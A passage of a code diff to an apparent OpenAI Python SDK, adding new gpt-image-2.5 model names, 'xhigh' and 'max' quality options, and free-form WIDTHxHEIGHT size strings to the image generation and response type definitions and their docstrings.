+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and
+ `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as
+ `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be
+ divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1.
+ Resolutions above `2560x1440` are experimental, and the maximum supported
+ resolution is `3840x2160`. The requested size must also satisfy the model's
+ current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and
+ `1024x1536` are supported by the GPT image models; `auto` is supported for
+ models that allow automatic sizing. For `dall-e-2`, use one of `256x256`,
+ `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`,
+ or `1024x1792`.
"""
diff --git a/src/openai/types/beta/beta_tool_param.py b/src/openai/types/beta/beta_tool_param.py
index 86527185d2..9590d1aa92 100644
--- a/src/openai/types/beta/beta_tool_param.py
+++ b/src/openai/types/beta/beta_tool_param.py
@@ -260,14 +260,17 @@ class ImageGeneration(TypedDict, total=False):
"""Whether to generate a new image or edit an existing image. Default: `auto`."""
background: Literal["transparent", "opaque", "auto"]
- """
- Allows to set transparency for the background of the generated image(s). Must be
- one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
- the model will automatically determine the best background for the image.
+ """Allows to set transparency for the background of the generated image(s).
+
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When `auto`
+ is used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
"""
input_fidelity: Optional[Literal["high", "low"]]
@@ -291,6 +294,10 @@ class ImageGeneration(TypedDict, total=False):
"gpt-image-1-mini",
"gpt-image-2",
"gpt-image-2-2026-04-21",
+ "gpt-image-2.5-sunburst",
+ "gpt-image-2.5-sunburst-2026-09-08",
+ "gpt-image-2.5-flare",
+ "gpt-image-2.5-flare-2026-09-08",
"gpt-image-1.5",
"chatgpt-image-latest",
],
@@ -298,7 +305,10 @@ class ImageGeneration(TypedDict, total=False):
"""The image generation model to use.
One of `gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default: `gpt-image-1`.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`. Default:
+ `gpt-image-1`.
"""
moderation: Literal["auto", "low"]
@@ -319,25 +329,29 @@ class ImageGeneration(TypedDict, total=False):
to 3.
"""
- quality: Literal["low", "medium", "high", "auto"]
+ quality: Literal["low", "medium", "high", "xhigh", "max", "auto"]
"""The quality of the generated image.
- One of `low`, `medium`, `high`, or `auto`. Default: `auto`.
+ The GPT image models support `low`, `medium`, and `high`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, also support `xhigh` and `max`. Default: `auto`.
"""
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024", "auto"]]
"""The size of the generated images.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are
- supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height
- must both be divisible by 16 and the requested aspect ratio must be between 1:3
- and 3:1. Resolutions above `2560x1440` are experimental, and the maximum
- supported resolution is `3840x2160`. The requested size must also satisfy the
- model's current pixel and edge limits. The standard sizes `1024x1024`,
- `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is
- supported for models that allow automatic sizing. For `dall-e-2`, use one of
- `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`,
- `1792x1024`, or `1024x1792`.
+ For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and
+ `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as
+ `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be
+ divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1.
+ Resolutions above `2560x1440` are experimental, and the maximum supported
+ resolution is `3840x2160`. The requested size must also satisfy the model's
+ current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and
+ `1024x1536` are supported by the GPT image models; `auto` is supported for
+ models that allow automatic sizing. For `dall-e-2`, use one of `256x256`,
+ `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`,
+ or `1024x1792`.
"""
diff --git a/src/openai/types/conversations/conversation_item.py b/src/openai/types/conversations/conversation_item.py
index 16114d2df6..f3e6eb7b0c 100644
--- a/src/openai/types/conversations/conversation_item.py
+++ b/src/openai/types/conversations/conversation_item.py
@@ -59,6 +59,15 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class AdditionalTools(BaseModel):
id: str
diff --git a/src/openai/types/image_edit_completed_event.py b/src/openai/types/image_edit_completed_event.py
index 0b1f7fab69..ceee34cc11 100644
--- a/src/openai/types/image_edit_completed_event.py
+++ b/src/openai/types/image_edit_completed_event.py
@@ -1,5 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Union
from typing_extensions import Literal
from .._models import BaseModel
@@ -50,11 +51,11 @@ class ImageEditCompletedEvent(BaseModel):
output_format: Literal["png", "webp", "jpeg"]
"""The output format for the edited image."""
- quality: Literal["low", "medium", "high", "auto"]
+ quality: Literal["low", "medium", "high", "xhigh", "max", "auto"]
"""The quality setting for the edited image."""
- size: Literal["1024x1024", "1024x1536", "1536x1024", "auto"]
- """The size of the edited image."""
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024", "auto"]]
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
type: Literal["image_edit.completed"]
"""The type of the event. Always `image_edit.completed`."""
diff --git a/src/openai/types/image_edit_params.py b/src/openai/types/image_edit_params.py
index 2f691d2795..e8420fc590 100644
--- a/src/openai/types/image_edit_params.py
+++ b/src/openai/types/image_edit_params.py
@@ -16,9 +16,11 @@ class ImageEditParamsBase(TypedDict, total=False):
"""The image(s) to edit. Must be a supported image file or an array of images.
For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
- `gpt-image-2`, `gpt-image-2-2026-04-21`, and `chatgpt-image-latest`), each image
- should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
- 16 images.
+ `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image should
+ be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to 16
+ images.
For `dall-e-2`, you can only provide one image, and it should be a square `png`
file less than 4MB.
@@ -32,14 +34,17 @@ class ImageEditParamsBase(TypedDict, total=False):
"""
background: Optional[Literal["transparent", "opaque", "auto"]]
- """
- Allows to set transparency for the background of the generated image(s). Must be
- one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
- the model will automatically determine the best background for the image.
+ """Allows to set transparency for the background of the generated image(s).
+
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When `auto`
+ is used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
"""
input_fidelity: Optional[Literal["high", "low"]]
@@ -62,7 +67,9 @@ class ImageEditParamsBase(TypedDict, total=False):
"""The model to use for image generation.
One of `dall-e-2` or a GPT image model (`gpt-image-1`, `gpt-image-1-mini`,
- `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`, or
+ `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, `gpt-image-2.5-flare-2026-09-08`, or
`chatgpt-image-latest`). Defaults to `gpt-image-1.5`.
"""
@@ -94,10 +101,12 @@ class ImageEditParamsBase(TypedDict, total=False):
are generated if the full image is generated more quickly.
"""
- quality: Optional[Literal["standard", "low", "medium", "high", "auto"]]
+ quality: Optional[Literal["standard", "low", "medium", "high", "xhigh", "max", "auto"]]
"""The quality of the image that will be generated for GPT image models.
- Defaults to `auto`.
+ The GPT image models support `low`, `medium`, and `high`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, also support `xhigh` and `max`. Defaults to `auto`.
"""
response_format: Optional[Literal["url", "b64_json"]]
@@ -112,16 +121,18 @@ class ImageEditParamsBase(TypedDict, total=False):
size: Union[str, Literal["256x256", "512x512", "1024x1024", "1536x1024", "1024x1536", "auto"], None]
"""The size of the generated images.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are
- supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height
- must both be divisible by 16 and the requested aspect ratio must be between 1:3
- and 3:1. Resolutions above `2560x1440` are experimental, and the maximum
- supported resolution is `3840x2160`. The requested size must also satisfy the
- model's current pixel and edge limits. The standard sizes `1024x1024`,
- `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is
- supported for models that allow automatic sizing. For `dall-e-2`, use one of
- `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`,
- `1792x1024`, or `1024x1792`.
+ For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and
+ `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as
+ `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be
+ divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1.
+ Resolutions above `2560x1440` are experimental, and the maximum supported
+ resolution is `3840x2160`. The requested size must also satisfy the model's
+ current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and
+ `1024x1536` are supported by the GPT image models; `auto` is supported for
+ models that allow automatic sizing. For `dall-e-2`, use one of `256x256`,
+ `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`,
+ or `1024x1792`.
"""
user: str
diff --git a/src/openai/types/image_edit_partial_image_event.py b/src/openai/types/image_edit_partial_image_event.py
index e25691bbed..acdd5c87e8 100644
--- a/src/openai/types/image_edit_partial_image_event.py
+++ b/src/openai/types/image_edit_partial_image_event.py
@@ -1,5 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Union
from typing_extensions import Literal
from .._models import BaseModel
@@ -25,11 +26,11 @@ class ImageEditPartialImageEvent(BaseModel):
partial_image_index: int
"""0-based index for the partial image (streaming)."""
- quality: Literal["low", "medium", "high", "auto"]
+ quality: Literal["low", "medium", "high", "xhigh", "max", "auto"]
"""The quality setting for the requested edited image."""
- size: Literal["1024x1024", "1024x1536", "1536x1024", "auto"]
- """The size of the requested edited image."""
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024", "auto"]]
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
type: Literal["image_edit.partial_image"]
"""The type of the event. Always `image_edit.partial_image`."""
diff --git a/src/openai/types/image_gen_completed_event.py b/src/openai/types/image_gen_completed_event.py
index c97700724a..23a10ee818 100644
--- a/src/openai/types/image_gen_completed_event.py
+++ b/src/openai/types/image_gen_completed_event.py
@@ -1,5 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Union
from typing_extensions import Literal
from .._models import BaseModel
@@ -50,11 +51,11 @@ class ImageGenCompletedEvent(BaseModel):
output_format: Literal["png", "webp", "jpeg"]
"""The output format for the generated image."""
- quality: Literal["low", "medium", "high", "auto"]
+ quality: Literal["low", "medium", "high", "xhigh", "max", "auto"]
"""The quality setting for the generated image."""
- size: Literal["1024x1024", "1024x1536", "1536x1024", "auto"]
- """The size of the generated image."""
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024", "auto"]]
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
type: Literal["image_generation.completed"]
"""The type of the event. Always `image_generation.completed`."""
diff --git a/src/openai/types/image_gen_partial_image_event.py b/src/openai/types/image_gen_partial_image_event.py
index 73027d0a0e..4ddeb4ad09 100644
--- a/src/openai/types/image_gen_partial_image_event.py
+++ b/src/openai/types/image_gen_partial_image_event.py
@@ -1,5 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Union
from typing_extensions import Literal
from .._models import BaseModel
@@ -25,11 +26,11 @@ class ImageGenPartialImageEvent(BaseModel):
partial_image_index: int
"""0-based index for the partial image (streaming)."""
- quality: Literal["low", "medium", "high", "auto"]
+ quality: Literal["low", "medium", "high", "xhigh", "max", "auto"]
"""The quality setting for the requested image."""
- size: Literal["1024x1024", "1024x1536", "1536x1024", "auto"]
- """The size of the requested image."""
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024", "auto"]]
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
type: Literal["image_generation.partial_image"]
"""The type of the event. Always `image_generation.partial_image`."""
diff --git a/src/openai/types/image_generate_params.py b/src/openai/types/image_generate_params.py
index 59cf4c191f..9a87bc87da 100644
--- a/src/openai/types/image_generate_params.py
+++ b/src/openai/types/image_generate_params.py
@@ -19,23 +19,27 @@ class ImageGenerateParamsBase(TypedDict, total=False):
"""
background: Optional[Literal["transparent", "opaque", "auto"]]
- """
- Allows to set transparency for the background of the generated image(s). Must be
- one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
- the model will automatically determine the best background for the image.
+ """Allows to set transparency for the background of the generated image(s).
+
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When `auto`
+ is used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
"""
model: Union[str, ImageModel, None]
"""The model to use for image generation.
One of `dall-e-2`, `dall-e-3`, or a GPT image model (`gpt-image-1`,
- `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, or
- `gpt-image-2-2026-04-21`). Defaults to `dall-e-2` unless a parameter specific to
- the GPT image models is used.
+ `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2`
+ unless a parameter specific to the GPT image models is used.
"""
moderation: Optional[Literal["low", "auto"]]
@@ -76,12 +80,14 @@ class ImageGenerateParamsBase(TypedDict, total=False):
are generated if the full image is generated more quickly.
"""
- quality: Optional[Literal["standard", "hd", "low", "medium", "high", "auto"]]
+ quality: Optional[Literal["standard", "hd", "low", "medium", "high", "xhigh", "max", "auto"]]
"""The quality of the image that will be generated.
- `auto` (default value) will automatically select the best quality for the
given model.
- `high`, `medium` and `low` are supported for the GPT image models.
+ - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, also support `xhigh` and `max`.
- `hd` and `standard` are supported for `dall-e-3`.
- `standard` is the only option for `dall-e-2`.
"""
@@ -102,16 +108,18 @@ class ImageGenerateParamsBase(TypedDict, total=False):
]
"""The size of the generated images.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are
- supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height
- must both be divisible by 16 and the requested aspect ratio must be between 1:3
- and 3:1. Resolutions above `2560x1440` are experimental, and the maximum
- supported resolution is `3840x2160`. The requested size must also satisfy the
- model's current pixel and edge limits. The standard sizes `1024x1024`,
- `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is
- supported for models that allow automatic sizing. For `dall-e-2`, use one of
- `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`,
- `1792x1024`, or `1024x1792`.
+ For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and
+ `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as
+ `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be
+ divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1.
+ Resolutions above `2560x1440` are experimental, and the maximum supported
+ resolution is `3840x2160`. The requested size must also satisfy the model's
+ current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and
+ `1024x1536` are supported by the GPT image models; `auto` is supported for
+ models that allow automatic sizing. For `dall-e-2`, use one of `256x256`,
+ `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`,
+ or `1024x1792`.
"""
style: Optional[Literal["vivid", "natural"]]
diff --git a/src/openai/types/image_model.py b/src/openai/types/image_model.py
index 42f4e16609..21a2f2bb97 100644
--- a/src/openai/types/image_model.py
+++ b/src/openai/types/image_model.py
@@ -9,6 +9,10 @@
"gpt-image-1-mini",
"gpt-image-2",
"gpt-image-2-2026-04-21",
+ "gpt-image-2.5-sunburst",
+ "gpt-image-2.5-sunburst-2026-09-08",
+ "gpt-image-2.5-flare",
+ "gpt-image-2.5-flare-2026-09-08",
"gpt-image-1.5",
"chatgpt-image-latest",
"dall-e-2",
diff --git a/src/openai/types/images_response.py b/src/openai/types/images_response.py
index 3c06e1b750..ea8d4be977 100644
--- a/src/openai/types/images_response.py
+++ b/src/openai/types/images_response.py
@@ -1,6 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import List, Optional
+from typing import List, Union, Optional
from typing_extensions import Literal
from .image import Image
@@ -66,14 +66,14 @@ class ImagesResponse(BaseModel):
output_format: Optional[Literal["png", "webp", "jpeg"]] = None
"""The output format of the image generation. Either `png`, `webp`, or `jpeg`."""
- quality: Optional[Literal["low", "medium", "high"]] = None
- """The quality of the image generated. Either `low`, `medium`, or `high`."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max"]] = None
+ """The quality of the image generated.
- size: Optional[Literal["1024x1024", "1024x1536", "1536x1024"]] = None
- """The size of the image generated.
-
- Either `1024x1024`, `1024x1536`, or `1536x1024`.
+ One of `low`, `medium`, `high`, `xhigh`, or `max`.
"""
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
usage: Optional[Usage] = None
"""For `gpt-image-1` only, the token usage information for the image generation."""
diff --git a/src/openai/types/responses/response_input_item.py b/src/openai/types/responses/response_input_item.py
index 2fad88bb39..ddb4d3b8a0 100644
--- a/src/openai/types/responses/response_input_item.py
+++ b/src/openai/types/responses/response_input_item.py
@@ -247,6 +247,15 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(BaseModel):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/responses/response_input_item_param.py b/src/openai/types/responses/response_input_item_param.py
index db7a9350bd..47df7af7f2 100644
--- a/src/openai/types/responses/response_input_item_param.py
+++ b/src/openai/types/responses/response_input_item_param.py
@@ -246,6 +246,15 @@ class ImageGenerationCall(TypedDict, total=False):
type: Required[Literal["image_generation_call"]]
"""The type of the image generation call. Always `image_generation_call`."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]]
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None]
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(TypedDict, total=False):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/responses/response_input_param.py b/src/openai/types/responses/response_input_param.py
index 982d37e23a..3aceb2c556 100644
--- a/src/openai/types/responses/response_input_param.py
+++ b/src/openai/types/responses/response_input_param.py
@@ -247,6 +247,15 @@ class ImageGenerationCall(TypedDict, total=False):
type: Required[Literal["image_generation_call"]]
"""The type of the image generation call. Always `image_generation_call`."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]]
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None]
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(TypedDict, total=False):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/responses/response_item.py b/src/openai/types/responses/response_item.py
index 4d0b9a4dcc..df5bfc9885 100644
--- a/src/openai/types/responses/response_item.py
+++ b/src/openai/types/responses/response_item.py
@@ -108,6 +108,15 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(BaseModel):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/responses/response_output_item.py b/src/openai/types/responses/response_output_item.py
index 8d9e15f929..402636062a 100644
--- a/src/openai/types/responses/response_output_item.py
+++ b/src/openai/types/responses/response_output_item.py
@@ -106,6 +106,15 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(BaseModel):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/responses/tool.py b/src/openai/types/responses/tool.py
index 3e815cceff..68e6d348ae 100644
--- a/src/openai/types/responses/tool.py
+++ b/src/openai/types/responses/tool.py
@@ -266,14 +266,17 @@ class ImageGeneration(BaseModel):
"""Whether to generate a new image or edit an existing image. Default: `auto`."""
background: Optional[Literal["transparent", "opaque", "auto"]] = None
- """
- Allows to set transparency for the background of the generated image(s). Must be
- one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
- the model will automatically determine the best background for the image.
+ """Allows to set transparency for the background of the generated image(s).
+
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When `auto`
+ is used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
"""
input_fidelity: Optional[Literal["high", "low"]] = None
@@ -297,6 +300,10 @@ class ImageGeneration(BaseModel):
"gpt-image-1-mini",
"gpt-image-2",
"gpt-image-2-2026-04-21",
+ "gpt-image-2.5-sunburst",
+ "gpt-image-2.5-sunburst-2026-09-08",
+ "gpt-image-2.5-flare",
+ "gpt-image-2.5-flare-2026-09-08",
"gpt-image-1.5",
"chatgpt-image-latest",
],
@@ -305,7 +312,10 @@ class ImageGeneration(BaseModel):
"""The image generation model to use.
One of `gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default: `gpt-image-1`.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`. Default:
+ `gpt-image-1`.
"""
moderation: Optional[Literal["auto", "low"]] = None
@@ -326,25 +336,29 @@ class ImageGeneration(BaseModel):
to 3.
"""
- quality: Optional[Literal["low", "medium", "high", "auto"]] = None
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
"""The quality of the generated image.
- One of `low`, `medium`, `high`, or `auto`. Default: `auto`.
+ The GPT image models support `low`, `medium`, and `high`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, also support `xhigh` and `max`. Default: `auto`.
"""
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024", "auto"], None] = None
"""The size of the generated images.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are
- supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height
- must both be divisible by 16 and the requested aspect ratio must be between 1:3
- and 3:1. Resolutions above `2560x1440` are experimental, and the maximum
- supported resolution is `3840x2160`. The requested size must also satisfy the
- model's current pixel and edge limits. The standard sizes `1024x1024`,
- `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is
- supported for models that allow automatic sizing. For `dall-e-2`, use one of
- `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`,
- `1792x1024`, or `1024x1792`.
+ For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and
+ `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as
+ `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be
+ divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1.
+ Resolutions above `2560x1440` are experimental, and the maximum supported
+ resolution is `3840x2160`. The requested size must also satisfy the model's
+ current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and
+ `1024x1536` are supported by the GPT image models; `auto` is supported for
+ models that allow automatic sizing. For `dall-e-2`, use one of `256x256`,
+ `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`,
+ or `1024x1792`.
"""
diff --git a/src/openai/types/responses/tool_param.py b/src/openai/types/responses/tool_param.py
index a1fb90c8c3..860a255bda 100644
--- a/src/openai/types/responses/tool_param.py
+++ b/src/openai/types/responses/tool_param.py
@@ -266,14 +266,17 @@ class ImageGeneration(TypedDict, total=False):
"""Whether to generate a new image or edit an existing image. Default: `auto`."""
background: Literal["transparent", "opaque", "auto"]
- """
- Allows to set transparency for the background of the generated image(s). Must be
- one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
- the model will automatically determine the best background for the image.
+ """Allows to set transparency for the background of the generated image(s).
+
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When `auto`
+ is used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
"""
